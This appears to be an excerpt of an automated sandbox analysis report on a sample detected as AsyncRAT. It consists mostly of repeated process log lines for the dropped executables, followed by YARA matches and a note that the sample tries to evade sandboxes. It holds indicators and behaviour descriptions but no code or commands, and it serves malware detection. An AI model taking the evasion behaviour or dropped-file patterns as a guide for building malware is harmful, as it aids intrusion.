Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WindowsDataC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.WindowsDataC.exe.12fb33c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.579900090.00000000126C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4C3000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012ABA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 1604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 5964, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

